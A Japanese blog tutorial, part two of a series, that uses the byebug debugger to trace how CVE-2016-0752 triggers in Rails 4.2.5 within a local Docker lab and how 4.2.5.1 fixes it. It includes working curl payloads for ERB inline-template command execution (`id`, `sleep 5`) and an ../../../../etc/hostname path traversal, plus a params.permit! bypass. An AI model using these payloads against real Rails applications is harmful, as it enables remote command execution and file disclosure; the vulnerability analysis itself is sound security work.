前回の記事(前編)の続きです。
本稿(後編)では主にデバッガを使ってRailsをトレースし、 CVE-2016-0752 脆弱性が顕在化するメカニズムとRailsの対策内容を解析します。
<注記>
前回の記事に修正が必要な箇所(コマンド)がありました。bundle install
でインストールしたgemをホスト側で見ることができません。このままでも作業可能ですが、最初からやり直して頂くことをおすすめします。
準備と正常系動作の確認
まずはDockerコンテナを再開します。
$ docker start CVE-2016-0752
$ docker exec -it CVE-2016-0752 /bin/bash
前回同様、非rootユーザー権限でコンテナを起動している場合はユーザーを変更します。
docker# su user
正常系のロジックを実装します。
サーバーサイド(Railsアプリケーション)でレンダリングするテンプレートを作成し、アプリケーションを起動します。
docker$ cd /app/CVE-2016-0752-App
docker$ echo template1_content > app/views/poc/template1.html.erb
docker$ echo template2_content > app/views/poc/template2.html.erb
docker$ rails s -b 0.0.0.0
パラメーターで指定したテンプレートがレンダリングされることを確認します。
ステータスコード200(OK)と、指定したテンプレートの内容がレスポンスされます。
$ curl -i 'localhost:3000/poc/render1.html?template=template1'
$ curl -i 'localhost:3000/poc/render1.html?template=template2'
存在しないテンプレートを指定するとどうなるでしょうか。
ステータスコード500(Internal Server Error)と、スタックトレースを含むエラーページがレスポンスされます。
$ curl -i 'localhost:3000/poc/render1.html?template=template3' | less
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 110742
X-Request-Id: 8e4cb833-ab4a-41f9-bb3c-cdcc57910139
X-Runtime: 0.064300
Server: WEBrick/1.3.1 (Ruby/2.3.1/2016-04-26)
Date: Tue, 16 Aug 2016 03:18:24 GMT
Connection: Keep-Alive
(省略)
スタックトレースの一部です。
テクニックというほどではありませんが、意図的にエラーを発生させてデバッグ情報を得ることで理解が早まります。
actionview (4.2.5) lib/action_view/path_set.rb:46:in `find'
actionview (4.2.5) lib/action_view/lookup_context.rb:121:in `find'
actionview (4.2.5) lib/action_view/renderer/abstract_renderer.rb:18:in `find_template'
actionview (4.2.5) lib/action_view/renderer/template_renderer.rb:40:in `determine_template'
actionview (4.2.5) lib/action_view/renderer/template_renderer.rb:8:in `render'
actionview (4.2.5) lib/action_view/renderer/renderer.rb:42:in `render_template'
actionview (4.2.5) lib/action_view/renderer/renderer.rb:23:in `render'
actionview (4.2.5) lib/action_view/rendering.rb:100:in `_render_template'
actionpack (4.2.5) lib/action_controller/metal/streaming.rb:217:in `_render_template'
actionview (4.2.5) lib/action_view/rendering.rb:83:in `render_to_body'
actionpack (4.2.5) lib/action_controller/metal/rendering.rb:32:in `render_to_body'
actionpack (4.2.5) lib/action_controller/metal/renderers.rb:37:in `render_to_body'
actionpack (4.2.5) lib/abstract_controller/rendering.rb:25:in `render'
actionpack (4.2.5) lib/action_controller/metal/rendering.rb:16:in `render'
actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:44:in `block (2 levels) in render'
activesupport (4.2.5) lib/active_support/core_ext/benchmark.rb:12:in `block in ms'
/usr/local/lib/ruby/2.3.0/benchmark.rb:308:in `realtime'
activesupport (4.2.5) lib/active_support/core_ext/benchmark.rb:12:in `ms'
actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:44:in `block in render'
actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:87:in `cleanup_view_runtime'
actionpack (4.2.5) lib/action_controller/metal/instrumentation.rb:43:in `render'
app/controllers/poc_controller.rb:3:in `render1'
(省略)
デバッガを使ってみる
ここからはRubyのデバッガである byebug を使ってRailの内部をデバッグしていきます。
pry-byebug のほうが見やすく人気がありそうですが、デバッグ箇所がピンポイントでは無い場合はgdbライクな操作感の byebug に分があると思います。
前回同様、ホスト側の好きなエディタで app/controllers/poc_controller.rb
を開き、poc#render3 にCVE-2016-0752の脆弱なコードを記述します。
デバッグを開始したい箇所にbyebug
と記述しておきます。
Rubyに限ったことではありませんが、処理を1行にまとめずに細かくわけて書いておくと、デバッグ時のstep into操作が楽です。
def render3
byebug
p = params[:template]
render p
end
アプリケーションを起動して、
docker$ rails s -b 0.0.0.0
リクエストを送信すると、
$ curl 'localhost:3000/poc/render3?template=test'
byebug
の箇所でブレークします。
Started GET "/poc/render3?template=test" for 172.17.0.1 at 2016-10-14 04:57:09 +0000
Cannot render console from 172.17.0.1! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255
Processing by PocController#render3 as */*
Parameters: {"template"=>"test"}
[7, 16] in /app/CVE-2016-0752-App/app/controllers/poc_controller.rb
7: render template: params[:template]
8: end
9:
10: def render3
11: byebug
=> 12: p = params[:template]
13: render p
14: end
15:
16: def render4
(byebug)
byebug の使い方は help
で確認できます。
# help
(byebug) help
# helpコマンドのhep
(byebug) help help
# breakコマンドのhelp
(byebug) help break
よく使うコマンドを少し使ってみましょう。
# n[ext] (引数無し)でstep over
(byebug) n
[8, 17] in /app/CVE-2016-0752-App/app/controllers/poc_controller.rb
8: end
9:
10: def render3
11: byebug
12: p = params[:template]
=> 13: render p
14: end
15:
16: def render4
17: end
# コマンド以外の文字列を打つことで式を実行
(byebug) params
{"template"=>"test", "controller"=>"poc", "action"=>"render3"}
(byebug) params[:test]="TEST"
"TEST"
(byebug) params
{"template"=>"test", "controller"=>"poc", "action"=>"render3", "test"=>"TEST"}
(byebug) p
"test"
(byebug) p.class
String
# l[ist] (引数無し)で現在の実行行を表示
(byebug) list
[12, 21] in /app/CVE-2016-0752-App/app/controllers/poc_controller.rb
12: p = params[:template]
=> 13: render p
14: end
15:
16: def render4
17: end
18:
19: def render5
20: end
21: end
# s[tep] でstep into
(byebug) s
[37, 46] in /app/bundle/gems/actionpack-4.2.5/lib/action_controller/metal/instrumentation.rb
37: end
38: end
39: end
40:
41: def render(*args)
=> 42: render_output = nil
43: self.view_runtime = cleanup_view_runtime do
44: Benchmark.ms { render_output = super }
45: end
46: render_output
# Enterキー(Ctrl+j)のみで直前のコマンドを再実行
(byebug)
[38, 47] in /app/bundle/gems/actionpack-4.2.5/lib/action_controller/metal/instrumentation.rb
38: end
39: end
40:
41: def render(*args)
42: render_output = nil
=> 43: self.view_runtime = cleanup_view_runtime do
44: Benchmark.ms { render_output = super }
45: end
46: render_output
47: end
# w[here]|bt|backtrace でスタックトレース表示
(byebug) w
--> #0 ActionController::Instrumentation.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5/lib/action_controller/metal/instrumentation.rb:43
#1 PocController.render3 at /app/CVE-2016-0752-App/app/controllers/poc_controller.rb:13
#2 ActionController::ImplicitRender.send_action(method#String, *args#Array) at /app/bundle/gems/actionpack-4.2.5/lib/action_controller/metal/implicit_render.rb:4
...
(省略)
# c[ont[inue]] でプログラム再開
(byebug) c
CVE-2016-0752の発動箇所を確認する
準備が整ったところで、脆弱性の発動箇所を確認してみたいと思います。
例外時のスタックトレース
存在しないOSコマンドを実行させて、わざと例外を発生させます。
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3dxxx%25>'
Railsのコンソール出力です。 ActionView::Template::Error
という例外が発生したことがわかります。
Started GET "/poc/render1?template[inline]=%3C%25%3dxxx%25%3E" for 172.17.0.1 at 2016-10-14 05:49:28 +0000
Cannot render console from 172.17.0.1! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255
Processing by PocController#render1 as */*
Parameters: {"template"=>{"inline"=>"<%=xxx%>"}}
Rendered inline template within layouts/application (13.2ms)
Completed 500 Internal Server Error in 14ms
ActionView::Template::Error (undefined local variable or method `xxx' for #<#<Class:0x005591bf6e40f0>:0x005591bcf5c370>):
1: <%=xxx%>
app/controllers/poc_controller.rb:3:in `render1'
今度は byebug で捕捉しながら実行します。
$ curl 'localhost:3000/poc/render3?template\[inline\]=<%25%3dxxx%25>'
ActionView::Template::Error
例外でbreakするように設定し、
(byebug) catch ActionView::Template::Error
Catching exception ActionView::Template::Error.
プログラムを再開すると例外を捕捉してブレークします。
(byebug) c
Catchpoint at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:310: `undefined local variable or method `xxx' for #<#<Class:0x005591bf6e40f0>:0x005591bf24b6d8>'
[305, 314] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
305: template = self
306: unless template.source
307: template = refresh(view)
308: template.encode!
309: end
=> 310: raise Template::Error.new(template, e)
311: end
312: end
313:
314: def locals_code #:nodoc:
スタックトレースを確認しておきます。
(byebug) w
--> #0 ActionView::Template.handle_render_error(view##<Class:0x005591bf6e40f0>, e#NameError) at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:310
#1 rescue in ActionView::Template.rescue in render(view##<Class:0x005591bf6e40f0>, locals#Hash, buffer#NilClass, &block#Proc) at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:148
#2 ActionView::Template.render(view##<Class:0x005591bf6e40f0>, locals#Hash, buffer#NilClass, &block#Proc) at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:143
#3 block (2 levels) in ActionView::TemplateRenderer.block (2 levels) in render_template(template#ActionView::Template, layout_name#Proc, locals#Hash) at /app/bundle/gems/actionview-4.2.5/lib/action_view/renderer/template_renderer.rb:54
#4 block in ActionView::AbstractRenderer.block in instrument(name#Symbol, options#Hash) at /app/bundle/gems/actionview-4.2.5/lib/action_view/renderer/abstract_renderer.rb:39
スタックトレース程度であれば、ブラウザで以下のようなURLへアクセスしてエラーページを見たほうが早いです。
が、ここは練習しておきましょう。
http://localhost:3000/poc/render1?template[inline]=<%25%3dxxx%25>
byebugを終了します。(以降、この手順は省略します。)
(byebug) q
Really quit? (y/n) y
脆弱性の発動箇所を特定する
ホスト側で bundle/gems/actionview-4.2.5/lib/action_view/template.rb
を開いて確認してみましょう。
310行目(スタックトレースの#0)はエラー発生後のルーチンに入っているため、143,144行目(スタックトレースの#2)あたりから追うのがよさそうです。
--
スタックトレース #0 の箇所
--
310 raise Template::Error.new(template, e)
--
スタックトレース #1〜#2 付近
--
142 def render(view, locals, buffer=nil, &block)
143 instrument("!render_template") do
144 compile!(view)
145 view.send(method_name, locals, buffer, &block)
146 end
147 rescue => e
148 handle_render_error(view, e)
149 end
今度はデバッグ中に脆弱性の発動がわかりやすいよう、OSコマンド sleep 5
を実行させるリクエストを送信します。
$ curl 'localhost:3000/poc/render3.html?template\[inline\]=<%25%3d`sleep+5`%25>'
ブレークポイントを貼ってプログラムを再開し、template.rb:143でブレークします。
(byebug) b /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:143
Successfully created breakpoint with id 1
(byebug) b /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:144
Successfully created breakpoint with id 2
(byebug) c
Stopped by breakpoint 1 at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:143
[138, 147] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
138: #
139: # This method is instrumented as "!render_template.action_view". Notice that
140: # we use a bang in this instrumentation because you don't want to
141: # consume this in production. This is only slow if it's being listened to.
142: def render(view, locals, buffer=nil, &block)
=> 143: instrument("!render_template") do
144: compile!(view)
145: view.send(method_name, locals, buffer, &block)
146: end
147: rescue => e
さらに進めていくと、145行目でsleep 5
が実行されることがわかりました。
(byebug) c
Stopped by breakpoint 2 at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:144
[139, 148] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
139: # This method is instrumented as "!render_template.action_view". Notice that
140: # we use a bang in this instrumentation because you don't want to
141: # consume this in production. This is only slow if it's being listened to.
142: def render(view, locals, buffer=nil, &block)
143: instrument("!render_template") do
=> 144: compile!(view)
145: view.send(method_name, locals, buffer, &block)
146: end
147: rescue => e
148: handle_render_error(view, e)
(byebug) n
[140, 149] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
140: # we use a bang in this instrumentation because you don't want to
141: # consume this in production. This is only slow if it's being listened to.
142: def render(view, locals, buffer=nil, &block)
143: instrument("!render_template") do
144: compile!(view)
=> 145: view.send(method_name, locals, buffer, &block)
146: end
147: rescue => e
148: handle_render_error(view, e)
149: end
(byebug)
(5秒間停止)
[20, 29] in /app/bundle/gems/activesupport-4.2.5/lib/active_support/notifications/instrumenter.rb
20: yield payload
21: rescue Exception => e
22: payload[:exception] = [e.class.name, e.message]
23: raise e
24: ensure
=> 25: finish name, payload
26: end
27: end
28:
29: # Send a start notification with +name+ and +payload+.
アプリケーションを再起動し、今度はtemplate.rbの145行目からstep intoしていきます。
(byebug) b /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:145
Successfully created breakpoint with id 1
(byebug) c
Stopped by breakpoint 1 at /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb:145
[140, 149] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
140: # we use a bang in this instrumentation because you don't want to
141: # consume this in production. This is only slow if it's being listened to.
142: def render(view, locals, buffer=nil, &block)
143: instrument("!render_template") do
144: compile!(view)
=> 145: view.send(method_name, locals, buffer, &block)
146: end
147: rescue => e
148: handle_render_error(view, e)
149: end
(byebug) s
[319, 328] in /app/bundle/gems/actionview-4.2.5/lib/action_view/template.rb
319: def method_name #:nodoc:
320: @method_name ||= begin
321: m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}"
322: m.tr!('-', '_')
323: m
=> 324: end
325: end
326:
327: def identifier_method_name #:nodoc:
328: inspect.tr('^a-z_', '_')
(byebug)
...(sleep 5が実行されるまでEnter押しっぱなし。40回分程度必要。)...
(byebug)
[2, 11] in /app/bundle/gems/activesupport-4.2.5/lib/active_support/core_ext/kernel/agnostics.rb
2: # Makes backticks behave (somewhat more) similarly on all platforms.
3: # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
4: # spawned shell prints a message to stderr and sets $?. We emulate
5: # Unix on the former but not the latter.
6: def `(command) #:nodoc:
=> 7: super
8: rescue Errno::ENOENT => e
9: STDERR.puts "#$0: #{e}"
10: end
11: end
(byebug)
(ここで5秒間停止)
bundle/gems/activesupport-4.2.5/lib/active_support/core_ext/kernel/agnostics.rb
の中身はこれだけです。
OSコマンドが実行された7行目の処理は、Objectクラスのスーパークラスの`
というメソッドを呼び出す処理になっているようです。
1 class Object
2 # Makes backticks behave (somewhat more) similarly on all platforms.
3 # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
4 # spawned shell prints a message to stderr and sets $?. We emulate
5 # Unix on the former but not the latter.
6 def `(command) #:nodoc:
7 super
8 rescue Errno::ENOENT => e
9 STDERR.puts "#$0: #{e}"
10 end
11 end
見ての通り、このObjectクラスは継承するクラスがありません。
また、Objectクラスといえば全てのクラスの基底クラスでは??と疑問が浮かびます。
一旦byebugは終了してアプリケーションを再起動し、今度は agnostics.rb:7 でブレークしてください。
この状態で継承関係を確認します。
(byebug) self.class
#<Class:0x00562c92b80c80>
(byebug) self.class.superclass
ActionView::Base
(byebug) self.class.superclass.superclass
Object
(byebug) self.class.superclass.superclass.superclass
BasicObject
(byebug) self.class.superclass.superclass.superclass.superclass
nil
Rubyには Objectクラスの更に基底クラスとなる BasicObject クラスがあり、Rails では BasicObject を継承した Object クラスを別途定義することで、プラットフォームの差異を抑止する意図があるのだと解釈しました。
ということで、最終的な脆弱性の顕在化箇所は以下のようになりました。
[2, 11] in /app/bundle/gems/activesupport-4.2.5/lib/active_support/core_ext/kernel/agnostics.rb
2: # Makes backticks behave (somewhat more) similarly on all platforms.
3: # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
4: # spawned shell prints a message to stderr and sets $?. We emulate
5: # Unix on the former but not the latter.
6: def `(command) #:nodoc:
=> 7: super
8: rescue Errno::ENOENT => e
9: STDERR.puts "#$0: #{e}"
10: end
11: end
(byebug) command
"sleep 5"
(byebug) BasicObject.`command
(5秒)
(byebug) BasicObject.` "hostname"
"docker\n"
。。。
そもそもフレームワークに脆弱性があった訳ではないので、ここが悪い!という箇所に辿り着いたりはしません。。
どういった改修が行われたのか見ていきましょう。
CVE-2016-0752の対策内容を確認する
改修バージョンである 4.2.5.1 と比較しながら確認作業を行います。
4.2.5と4.2.5.1のdiffを見て修正内容を比較する方法(静的解析)もありますが、今回は先のデバッガを用いる方法(動的解析)で探っていきます。
4.2.5.1にバージョンアップする
Gemfile
を編集し、Railsのバージョンを変更します。
gem 'rails', '4.2.5.1'
アップデートして、Rails 4.2.5.1になったアプリケーションを起動します。
docker$ bundle update
docker$ rails s -b 0.0.0.0
=> Booting WEBrick
=> Rails 4.2.5.1 application starting in development on http://0.0.0.0:3000
正常系の動作と、4.2.5ではコマンド実行に成功していた攻撃が4.2.5.1では失敗することを確認します。
$ curl 'localhost:3000/poc/render1?template=template1'
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3d`id`%25>'
$ curl 'localhost:3000/poc/render1?template=../../../../etc/hostname'
対策内容を確認する(inlineオプション)
inlineオプション指定でコマンド実行を試行すると例外が発生することを確認し、例外発生時のスタックトレースを取得します。
$ curl 'localhost:3000/poc/render1.html?template\[inline\]=<%25%3d`id`%25>'
Started GET "/poc/render1.html?template[inline]=%3C%25%3d%60id%60%25%3E" for 172.17.0.1 at 2016-10-14 08:31:24 +0000
Cannot render console from 172.17.0.1! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255
Processing by PocController#render1 as HTML
Parameters: {"template"=>{"inline"=>"<%=`id`%>"}}
Completed 500 Internal Server Error in 0ms
ArgumentError (render parameters are not permitted):
app/controllers/poc_controller.rb:3:in `render1'
curl 'localhost:3000/poc/render3.html?template\[inline\]=<%25%3d`id`%25>'
(byebug) catch ArgumentError
Catching exception ArgumentError.
(byebug) c
Catchpoint at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:25: `no such frame'
[20, 29] in /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb
20:
21: RubyVM::DebugInspector.open do |i|
22: n = 0
23: loop do
24: begin
=> 25: b = i.frame_binding(n)
26: rescue ArgumentError
27: break
28: end
29:
(byebug) w
--> #0 RubyVM::DebugInspector.frame_binding() at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:25
#1 block (2 levels) in BindingOfCaller::BindingExtensions.block (2 levels) in callers at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:25
ͱ-- #2 Kernel.loop at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:23
#3 block in BindingOfCaller::BindingExtensions.block in callers at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:23
ͱ-- #4 #<Class:RubyVM::DebugInspector>.open at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:21
#5 BindingOfCaller::BindingExtensions.callers at /app/bundle/gems/binding_of_caller-0.7.2/lib/binding_of_caller/mri2.rb:21
#6 Exception.set_backtrace_with_binding_of_caller(*args#Array) at /app/bundle/gems/web-console-2.3.0/lib/web_console/integration/cruby.rb:28
#7 AbstractController::Rendering._normalize_args(action#ActionController::Parameters, options#Hash, &blk#NilClass) at /app/bundle/gems/actionpack-4.2.5.1/lib/abstract_controller/rendering.rb:83
#8 ActionView::Rendering._normalize_args(action#ActionController::Parameters, options#Hash, &blk#NilClass) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/rendering.rb:114
#9 ActionController::Rendering._normalize_args(action#ActionController::Parameters, options#Hash, &blk#NilClass) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/rendering.rb:57
#10 AbstractController::Rendering._normalize_render(*args#Array, &block#NilClass) at /app/bundle/gems/actionpack-4.2.5.1/lib/abstract_controller/rendering.rb:113
#11 AbstractController::Rendering.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/abstract_controller/rendering.rb:24
#12 ActionController::Rendering.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/rendering.rb:16
#13 block (2 levels) in ActionController::Instrumentation.block (2 levels) in render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:44
#14 block in #<Class:Benchmark>.block in ms at /app/bundle/gems/activesupport-4.2.5.1/lib/active_support/core_ext/benchmark.rb:12
#15 #<Class:Benchmark>.realtime at /usr/local/lib/ruby/2.3.0/benchmark.rb:308
#16 #<Class:Benchmark>.ms at /app/bundle/gems/activesupport-4.2.5.1/lib/active_support/core_ext/benchmark.rb:12
#17 block in ActionController::Instrumentation.block in render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:44
#18 ActionController::Instrumentation.cleanup_view_runtime at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:87
#19 ActionController::Instrumentation.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:43
#20 PocController.render3 at /app/CVE-2016-0752-App/app/controllers/poc_controller.rb:13
階層をざっと見てみると、 #20 がテストアプリの render
メソッド呼び出し処理にあたり、MVCのC(Controller)にあたるactionpackの処理が始まっています。
ベンチマークをはさみつつ #8 でV(View)にあたる actionview 、 #7 で再度actionpack、というところでしょうか。
スタックフレームの階層を #7 まで上がると、ArgumentError例外を上げている処理が見つかります。
まさに4.2.5.1で改修が行われた箇所の一つです。
(byebug) up 5
[78, 87] in /app/bundle/gems/actionpack-4.2.5.1/lib/abstract_controller/rendering.rb
78: # :api: plugin
79: def _normalize_args(action=nil, options={})
80: case action
81: when ActionController::Parameters
82: unless action.permitted?
=> 83: raise ArgumentError, "render parameters are not permitted"
84: end
85: action
86: when Hash
87: action
このメソッドの引数である action に対するエラーチェックが追加されたようですので、 action 変数の実体を確認します。
(byebug) action
{"inline"=>"<%=`id`%>"}
(byebug) action.class
ActionController::Parameters
(byebug) action.permitted?
false
バージョン4以降のRailsで開発をしたことがある方はお気づきになられたでしょうか。
Mass Assignment脆弱性の対策として導入された Strong Parameters が使われています。
そして変数 action は render に渡したパラメーターそのものであることが確認できます。
(byebug) up 13
[8, 17] in /app/CVE-2016-0752-App/app/controllers/poc_controller.rb
8: end
9:
10: def render3
11: byebug
12: p = params[:template]
=> 13: render p
14: end
15:
16: def render4
17: end
(byebug) p
{"inline"=>"<%=`id`%>"}
(byebug) p.class
ActionController::Parameters
(byebug) p.permitted?
false
つまり Strong Parameters で許可されたパラメーターであれば、脆弱性が顕在化することになります。
本来モデル(ActiveRecord)に渡すパラメーターのみホワイトリスト形式で許可すべきところを、パラメーター全体に対して許可していたり、モデルに渡すパラメーターを render
にも渡しているような場合、バージョン4.2.5.1でも脆弱になります。
パラメーター全体を許可する例で確認します。
def render4
params.permit!
render params[:template]
end
発動しました。Strong Parameters で許可するパラメーターには注意を払いましょう。
$ curl 'localhost:3000/poc/render4.txt?template\[inline\]=<%25%3d`id`%25>'
uid=1000(user) gid=1000(user) groups=1000(user)
対策内容を確認する(パストラバーサル)
パストラバーサルの方はどういった対策が講じられたのか確認していきます。
前回の記事では、以下のコマンドで脆弱性が顕在化することを確認しました。
$ curl 'localhost:3000/poc/render1.txt?template=../../../../etc/hostname'
docker
4.2.5.1では下記の例外が発生するようになったので、今回も例外を起点に byebugで 見ていくことにします。
Started GET "/poc/render1.txt?template=../../../../etc/hostname" for 172.17.0.1 at 2016-10-17 01:34:57 +0000
Cannot render console from 172.17.0.1! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255
Processing by PocController#render1 as TEXT
Parameters: {"template"=>"../../../../etc/hostname"}
Completed 500 Internal Server Error in 1ms
ActionView::MissingTemplate (Missing template ../../../../etc/hostname with {:locale=>[:en], :formats=>[:text], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :jbuilder]}. Searched in:
* "/app/CVE-2016-0752-App/app/views"
):
app/controllers/poc_controller.rb:3:in `render1'
$ curl 'localhost:3000/poc/render3.txt?template=../../../../etc/hostname'
docker
(byebug) catch ActionView::MissingTemplate
Catching exception ActionView::MissingTemplate.
(byebug) c
Catchpoint at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:46: `Missing template ../../../../etc/hostname with {:locale=>[:en], :formats=>[:text], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :jbuilder]}. Searched in:
* "/app/CVE-2016-0752-App/app/views"
'
[41, 50] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
41: end
42: METHOD
43: end
44:
45: def find(*args)
=> 46: find_all(*args).first || raise(MissingTemplate.new(self, *args))
47: end
48:
49: def find_file(path, prefixes = [], *args)
50: _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
(byebug) w
--> #0 ActionView::PathSet.find(*args#Array) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:46
#1 ActionView::LookupContext::ViewPaths.find(name#String, prefixes#NilClass, partial#FalseClass, keys#Array, options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/lookup_context.rb:121
#2 ActionView::AbstractRenderer.find_template(*args#Array, &block#NilClass) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/renderer/abstract_renderer.rb:18
#3 ActionView::TemplateRenderer.determine_template(options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/renderer/template_renderer.rb:40
#4 ActionView::TemplateRenderer.render(context##<Class:0x005559bac23990>, options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/renderer/template_renderer.rb:8
#5 ActionView::Renderer.render_template(context##<Class:0x005559bac23990>, options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/renderer/renderer.rb:42
#6 ActionView::Renderer.render(context##<Class:0x005559bac23990>, options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/renderer/renderer.rb:23
#7 ActionView::Rendering._render_template(options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/rendering.rb:100
#8 ActionController::Streaming._render_template(options#Hash) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/streaming.rb:217
#9 ActionView::Rendering.render_to_body(options#Hash) at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/rendering.rb:83
#10 ActionController::Rendering.render_to_body(options#Hash) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/rendering.rb:32
#11 ActionController::Renderers.render_to_body(options#Hash) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/renderers.rb:37
#12 AbstractController::Rendering.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/abstract_controller/rendering.rb:25
#13 ActionController::Rendering.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/rendering.rb:16
#14 block (2 levels) in ActionController::Instrumentation.block (2 levels) in render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:44
#15 block in #<Class:Benchmark>.block in ms at /app/bundle/gems/activesupport-4.2.5.1/lib/active_support/core_ext/benchmark.rb:12
#16 #<Class:Benchmark>.realtime at /usr/local/lib/ruby/2.3.0/benchmark.rb:308
#17 #<Class:Benchmark>.ms at /app/bundle/gems/activesupport-4.2.5.1/lib/active_support/core_ext/benchmark.rb:12
#18 block in ActionController::Instrumentation.block in render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:44
#19 ActionController::Instrumentation.cleanup_view_runtime at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:87
#20 ActionController::Instrumentation.render(*args#Array) at /app/bundle/gems/actionpack-4.2.5.1/lib/action_controller/metal/instrumentation.rb:43
#21 PocController.render3 at /app/CVE-2016-0752-App/app/controllers/poc_controller.rb:13
今度は /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:46
から追っていきます。
(byebug) b /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:46
Successfully created breakpoint with id 1
(byebug) c
Stopped by breakpoint 1 at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:46
[41, 50] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
41: end
42: METHOD
43: end
44:
45: def find(*args)
=> 46: find_all(*args).first || raise(MissingTemplate.new(self, *args))
47: end
48:
49: def find_file(path, prefixes = [], *args)
50: _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
(byebug) args
["hostname", ["../../../../etc"], false, {:locale=>[:en], :formats=>[:text], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :jbuilder]}, #<ActionView::LookupContext::DetailsKey:0x00556acabb1c48 @hash=-2229738988821348544>, []]
(byebug) s
[49, 58] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
49: def find_file(path, prefixes = [], *args)
50: _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
51: end
52:
53: def find_all(path, prefixes = [], *args)
=> 54: _find_all path, prefixes, args, false
55: end
56:
57: def exists?(path, prefixes, *args)
58: find_all(path, prefixes, *args).any?
(byebug)
[59, 68] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
59: end
60:
61: private
62:
63: def _find_all(path, prefixes, args, outside_app)
=> 64: prefixes = [prefixes] if String === prefixes
65: prefixes.each do |prefix|
66: paths.each do |resolver|
67: if outside_app
68: templates = resolver.find_all_anywhere(path, prefix, *args)
outside_app
が気になります。
(byebug) l 63-80
[63, 80] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
63: def _find_all(path, prefixes, args, outside_app)
=> 64: prefixes = [prefixes] if String === prefixes
65: prefixes.each do |prefix|
66: paths.each do |resolver|
67: if outside_app
68: templates = resolver.find_all_anywhere(path, prefix, *args)
69: else
